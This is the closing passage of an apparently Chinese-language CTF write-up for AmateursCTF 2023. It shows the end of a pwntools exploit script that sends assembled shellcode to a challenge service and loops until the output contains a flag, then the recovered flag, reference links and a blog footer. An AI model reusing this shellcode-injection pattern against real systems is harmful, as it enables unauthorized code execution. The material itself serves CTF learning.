    mov rax, 1
    mov rdi, 1
    mov rdx, 0x100
    syscall
    """

    ru('> ')
    sl(asm(sc))
    print(i)
    try:
        f = io.recv()
        print(f)
        if (b'flag' in f )or (b'FLAG' in f) or(b'ctf' in f) or (b'CTF' in f):
            print(f)
            break
    except:
        pass
    io.close()

image

amateursCTF{3xc3pt10n_suppr3ss10n_ftw}

异常抑制ftw

  • 参考

AmateursCTF 2023 Write-Up - U+E000 私用領域 (hatenablog.com)

简单操作系统 (amateurs.team)

frog-math (amateurs.team)

RE writeups

业余爱好者CTF 2023 - 逆向工程文章 - FazeCT 博客

本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签